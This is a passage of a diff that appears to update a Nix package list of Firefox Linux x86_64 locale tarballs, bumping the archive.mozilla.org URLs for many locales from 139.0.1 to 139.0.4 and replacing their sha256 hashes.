       arch = "linux-x86_64";
-      sha256 = "32bbd13a90626f7e3bb60458add891bb7227552007b1e2bc09614b5060a2a130";
+      sha256 = "a084d7d1260b86ac8a5390fe435acc534fe7a4835bc5dae0136232aeb2b00a4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hsb/firefox-139.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "b8ae9765b8c76c141858761ee097601175e0039a671fd77e30c55879eaf7e83d";
+      sha256 = "e7e611f6df72b8019ca44ec6f3ad68365d7dffda5dfa2b6b3025479607f67fdd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hu/firefox-139.0.4.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "3bf39ae1423543d0cbf15ce9cbc831b78bf511d4273536d1a62f15b03eb4bbe3";
+      sha256 = "0c52bf023a58d78b4da76e15c6a127ffb45a2bd58c75ac7572f2ef3decea3cff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hy-AM/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hy-AM/firefox-139.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "3050f529026eb2d712779890abe1a7f94e6502457a6d9eb7cdcb0c15be17b784";
+      sha256 = "1ca30d46dfa5a0f372d89c073387fd261db9ec7aa3d1a48f5d6ae09f21a4efb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ia/firefox-139.0.4.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "cdea2b43c1cfa36b720105c5f403571de2c7b5b8c0667f2dba422380f2092fd6";
+      sha256 = "75b3a6d0eb90f977370709b03e2d84bb62d25105cfdbb86d6b85d11916546582";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/id/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/id/firefox-139.0.4.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "6123ea5e0a86caf53f210af2e3bc5f53d1abb32c9aa5dae6f855572339e45e75";
+      sha256 = "d4d40d1de930670b5da5edbad90a58d87a9ef1256a90acd42b867322f1069550";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/is/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/is/firefox-139.0.4.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "14d36069a1ad136dd72cec1283d7d78edce6a02843a3441b99a513a547c158fa";
+      sha256 = "89805ee54ff0261b9063dfbce2ad833d8967593591adb780ee905b0f55a72191";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/it/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/it/firefox-139.0.4.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "52091e49f5cb9c82cd5b0096eff6802c42464d95b605c18ae28db2c19d36e89a";
+      sha256 = "1d18aad4f64e91760a5fe18ba26aa2d102a1c5c1977ccd8313a47811bbfb7bb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ja/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ja/firefox-139.0.4.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "f6c3d8a5837bae90ec81fe607193044e9de5742e862c10d369b1d5a47762e996";
+      sha256 = "1c1304057882bd87a6553c68cca3c9c6341d1f910fc2a8be5918d91e63e82191";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ka/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ka/firefox-139.0.4.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "3565e61f3347861c8930f1c62f8d1796207f11cc9312367d8d025657096c8b2a";
+      sha256 = "d6ea469bac110bf20def38bef0d0f1f6c1eb6369ac5ea38e597a78d9be8ceb6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kab/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kab/firefox-139.0.4.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "84f8ea8e91d7425a7ebed74c4589fdb90dbc6adb09bba598355662b3cf5ed405";
+      sha256 = "46a9370b9eb7411955785bfa9c7707720333255014b6fb76b55d26c76aed04f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kk/firefox-139.0.4.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "1aba65cf2b8613c7f2c0938a4ce4ca5eb58f197855456b2ee1ab21a0f1261fb0";
+      sha256 = "53bfcb7fb280ad84446a2aee466eb86181f24d6c6ee13989b1cd03e89ebb836b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/km/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/km/firefox-139.0.4.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "7f26bad7ba58f2e6ce13a5c551c29e847bc174aef8066de914496247a4cf8fbd";
+      sha256 = "8f59704ba6bc586e92402296f801acecb47175194e70f7d2fd102122128af36e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kn/firefox-139.0.4.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "a7654f9f6f827f17ea9a9eec1126416bb8e2364808d956d6b15e4e66c1b4c2c2";
+      sha256 = "0502db9a7390f4918dc7495d1923c10f65a81202f926f5f9c8930e21ae53b504";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ko/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ko/firefox-139.0.4.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "521ca6a04f2bcab3a48473400733e02c5dd08e19e8d0a27507b6e7d0981277bf";
+      sha256 = "2beab3ce63ef964f521a0a74ce4f59155b02215e221cf34d3f353cddff79017a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lij/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lij/firefox-139.0.4.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "8a18d13ce49f43f4fa14d9b23f5831e62188e87f093a6e79737e8484c4652d2a";
+      sha256 = "3ece05b3bf61cedc4c4e9ff7c783ef5697d10bf5c64d460bb8c4c325caa163c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lt/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lt/firefox-139.0.4.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "e065cb65be49bb3b3564f320ea9f46664e2d248acd358132d91a982327373f96";
+      sha256 = "e42a660ab50c2fdbd17327c5d6c6d7f84b34a427ab63476ba652813923fda45d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lv/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lv/firefox-139.0.4.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "9827102276a0c08b8f7f8285eb801f0b56f5c57f8971b37bd0b5bc5c128aa54d";
+      sha256 = "32ae55c17cb7ca8876bb8228fdd2f3c1db61e34d421f45c7d1cb44fb9ce20d3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/mk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mk/firefox-139.0.4.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "049ea07365404a812cdf695642bd331d932687d134b64275683c446edad9eb5c";
+      sha256 = "635c32aefaceb333fcb202425fbee52f31e4de24456d795e7d0a6c09e9f98da9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/mr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mr/firefox-139.0.4.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "5783b8a946f35e8210342430a6765fed5fa7cb05206d0463219be875ea71cfca";
+      sha256 = "20355f6b420d2ce43ac8314f7a0ee059076fb8a94c831a21e839b780b24b749a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ms/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ms/firefox-139.0.4.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "05a7ba72380a7efd710f995022cf2ee59f84229967bf52db6a61669fc4d5df52";
+      sha256 = "1b9bdec98b7c9b12bab7efc119165e62d8cc0a3a43a9f8f8feb5eabf7aa88f2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/my/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/my/firefox-139.0.4.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "004a93603fa6eb4d05b8e8e49cfca9f72522495850f7bdf80b0c07314b9a0819";
+      sha256 = "76a2a5edf32125554af394111c4ebaec727c2cbe3967af231f6be2daecd6f448";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nb-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nb-NO/firefox-139.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "d7c26672a5589ca6b7f4f7b08c3b0b33f722e6be5ae4f4fcad0e4e5fbd771689";
+      sha256 = "3382e49c093fcb69f9dfb7621dd4f5de3d8820bf83104d1f05538ad8b8165939";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ne-NP/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ne-NP/firefox-139.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "d1a9a80c5919632c78fb8e51fbb750eac3c17cd369771ae4cf3291b2f5a07d97";
+      sha256 = "26537a983ed0a7b01b8ebddafa97f78680f2ed49e738959d43fdeb6c7dbe5c2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nl/firefox-139.0.4.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "822ee67f7d9dca15b9661ab2706840ed5a057cbdd99d398620c713398ccfb496";
+      sha256 = "d21d95b1bc2f94b03a3f19690047ae1988b8be01fcc07509f08d95a020ddd21b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nn-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nn-NO/firefox-139.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "32a73765b1c74d38a38a7e8d64248f89b330c71acf632719bc7b7766727715af";
+      sha256 = "04b5f772b1ae9dac6b04b4ce548583888682f482a2f0459bff995d8ba8544304";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/oc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/oc/firefox-139.0.4.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "45d3b696a9cd7a48ad429a7bcf94b5954341d44286b87bf95d6bfe05c31e9de9";
+      sha256 = "d56bdb33635703b014f3f367ae60ae5d2c3d2e78f375386a909bd5567d844461";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pa-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pa-IN/firefox-139.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "30e78f06834e64f85f78202b37f1d8e99a92c1893cb9e5cd53083fb609ba99b9";
+      sha256 = "178067f1e94cdc889da0129ed2c58d16c5d22f7c77ffe91f31ec32297f0771d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pl/firefox-139.0.4.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "2a386637a6747e2d31fb0f5269af67ea2540436b8ea655527dccfd281c198660";
+      sha256 = "1ddb01a76f28b567d2db1fa6bc855491f3fa74183ca1249254172865ef77bb9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pt-BR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-BR/firefox-139.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "79e7285dcb77bee9c54f45bf66f376002fbf3796e76f335151a617597d935431";
+      sha256 = "58ae54a2d2e7eb7be41f8fb7f80bb1079d05480c9b9cd10574d6c5d2d2ff4903";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pt-PT/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-PT/firefox-139.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "93cdd703ea7aa0b4571e2a7cba8aee1e48c81e37fe5f8e28c4d2499babf13cbb";
+      sha256 = "24d8c16d57b2e0a05537dbe1604c185e71e145feb28391a3637e755d995b5fb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/rm/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/rm/firefox-139.0.4.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "68adac4215430e27de94af7b28dc0f96f4618c221a4e820cc1fc2c6ce2ff13a1";
+      sha256 = "b6a5b1264958af49edfde10b8382b7fce334e823088d77a7fc8fb667a498f7a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ro/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ro/firefox-139.0.4.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "722480295bd52b05f4bf155d234a9f6ffeb031f80c5363aa44971f6b76296e28";
+      sha256 = "4e73194bc045f14683813073dbdd080e6186cfd0686b53fcc4db425fd9d1838b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ru/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ru/firefox-139.0.4.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "e261ec1650b3c345998f809805d93f7f32c25480efe0ba37158b44a7ba398a69";
+      sha256 = "85a14c256da423a302b8f421d88f825c04257a5e3dec68aa13a6d3b2b3e85dda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sat/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sat/firefox-139.0.4.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "850beb7ddf0eebab3c89a85a5ac16ad4598d355e8065ba9218f22cc9c653e084";
+      sha256 = "f27bf4b33ca14dd78b7fc89f9bbc3b333b546205c360f63f7816479ef4025809";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sc/firefox-139.0.4.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "cc1886fa8333f41b409f21a30608571731ad86e215816dc318066e13357c3ee4";
+      sha256 = "47df778b5e1a83fe60082a56e9bda65250ef184abf4f7127fa30ace642ef81e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sco/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sco/firefox-139.0.4.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "7e1aa53c0d7286726940e6e034ee0c73c2ad1de3407003bbe56ee9425c352b99";
+      sha256 = "ce671e5af5682e095e96552e5e407a301ad2e545766318e59cbc4ddae8792e62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/si/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/si/firefox-139.0.4.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "08d28d4fa7a479c7342757a0ce1c4c739248643839f8effaaae17a40f9fff922";
+      sha256 = "ea337ce012881ada3a142900fb1f7390ba84a3f38e085d670a8db4c810607689";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sk/firefox-139.0.4.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "a16b64ad14f4afdeb03ad067cf191331c6e768185e2335299b8811d3268a337a";
+      sha256 = "a05d7215de61dc20252969a3b1adbba0d7b9ce474f555ef1d59ccfc012faa53d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/skr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/skr/firefox-139.0.4.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "a17345215dfd4c8f84ae90a2b8319c8733fd4bd1f65398867d8f160b35595c4d";
+      sha256 = "57a2cadc0f4c1ebdb91454433ed3d46e7ae8885b5918ef5969c95d879c655b19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sl/firefox-139.0.4.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "207b5c912db4a45848aef0f62edfcbd5ad16c3d21daf1207f4099726fdf1f0d5";
+      sha256 = "17d516442c8fe6dfc8813101e6a4e93f68f16d13e24794c41303e23030e6ce82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/son/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/son/firefox-139.0.4.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "25aee28a370f27571f13238d81396363b0261e2fd3fccf81f00cbfd6568e7a59";
+      sha256 = "4abfd19e1af1ef6b6e0010cf5efb2ef55ba5aaea4e029e1383b5146557860a51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sq/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sq/firefox-139.0.4.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "816e70168f783c76b7da3b2c0d62a440e681a4377ff6d381c21aadce559acc6e";
+      sha256 = "4092fdf3144d610c5d4d5d367dbae82356d7928e2f6adb960453b44b89144ab7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sr/firefox-139.0.4.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "71c9b81a9a98bb5b0f5cbb1d4bffe5d38652f0e6597d7f746fb20fa6ca5d60d5";
+      sha256 = "684263380f03524571b23c7872313363eceb952173fe257b4cf2c4035f5393bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sv-SE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sv-SE/firefox-139.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "4f0c25b3d37dfdcd78c08e4c610dd605d4587fb32a618bf02dc260a974ce60ee";
+      sha256 = "301deb5f1ebf0c8c7d659c437d7d89c91fa881608a5a4461e345d5b5e3b75c46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/szl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/szl/firefox-139.0.4.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "1061a6dbc76d2ca70a09636d8dca724d7b66cd4dcc9f80b144dc77eb12380f7e";
+      sha256 = "e5ff830a49042bf2bdb49d5b9627a981f41222b4bc0b35fb0fdd740c093b526c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ta/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ta/firefox-139.0.4.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "e8fe9b50026febcdb600d3e825ee80b3d832f6dfd404334db09a296ae8fbaed0";
+      sha256 = "3e42562dc712c3d1eea01a853c9c269dec150491369a7f94a088f61e04eb52cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/te/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/te/firefox-139.0.4.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "84e8d2fca89f772852acef8e055f8c2fe648b553fcd948206c61212387151c86";
+      sha256 = "afaaac45d761de23084ba0451b20b9ef242aa46cfdc36a59ca54a570067af0b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tg/firefox-139.0.4.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "df59bfe8b7b0c046c41d752394513d958ad22873c48e5d387ef012c5eb5e3f24";
+      sha256 = "0803a98962b05a22772c6d84bc9625a25f8bef046996cc709b85a73fced57ff1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/th/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/th/firefox-139.0.4.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "e98a80c45a5df3004e4f7643bdd81a8cad4b78b898ae12782d197118a2b8efb8";
+      sha256 = "1e67f3c723c6b50c99a61815a19d0e7aa488de58f0a3b77aef0dfc9f95de20ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tl/firefox-139.0.4.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "f92e9564fe26faf2f0e2e63e45b10144b3edcb7f9756a72c0ea78cf51145d924";
+      sha256 = "8a036dbbd704d47ac6f135a5b44acf7a726ee8721b0fcbca9ce7150115c32732";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tr/firefox-139.0.4.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "460cbbac0c082747d0f6ea127473f6dfc71be8e715576414961fe4cea53a5628";
+      sha256 = "29b1554086dd239490c9b9076a812137823cb9447b39ba7c5d7b8b3d5d74bf5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/trs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/trs/firefox-139.0.4.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "6bd7ef58f999e8847970eab629fc343a2565662e6392e3badbde20f4d6ee259d";
+      sha256 = "105a01e63c556791c78645af541b75c090ae8db3b479b396e0949b81849b3a07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/uk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uk/firefox-139.0.4.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "8bfda5a3f6bf15c2f2ce52346ebb97297da25090edd819f4400d3841bdf9a56d";
+      sha256 = "f889d5347935b505c8acd832eb7f55e909e5c2335396b4630d0518e6533d342c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ur/firefox-139.0.4.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "d1030ed4a5ca208c78f878a82f4027bcbc1ed0bf8da416fdd3e0061027c0fac8";
+      sha256 = "c10cb624597df0621d33e9fae0a033ebc0256ede3ea84173dbc5aa83d6c04735";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/uz/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uz/firefox-139.0.4.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "5441f193a9af2fa56a676b2ec9ac79a0630145af04441bd3c3ea2bc287216926";
+      sha256 = "1045edafc95910b71233a47af11268e7f065d4bd9976c676f45cdbc146a7febe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/vi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/vi/firefox-139.0.4.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "00073389b9e049e3318f61f880167a1f4b37bfb9f4eeb671711dd638bb20141d";
+      sha256 = "b6d0ed7399eec4d69c7dd5c991818b9be52fd6ec670fc148ff8f75a29fe8a633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/xh/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/xh/firefox-139.0.4.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "bd71ac2385beae6f6fe8ce07044c403c9eab3de664bb07d26bff6bfb98f586e5";
+      sha256 = "360437bc312d5e113919ced6d82acbe8f6d8c463da00d89af67df03fec971279";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/zh-CN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-CN/firefox-139.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "8f8bfeb4d826950d1ae903c7c0b9715cea351c72e7faed9fb769c084acca9b63";
+      sha256 = "2fde7c9ccf14c9091e2f2e96238a2f0c7dbc84a82920d0a3c3eed329cb4d9360";
     }
     {
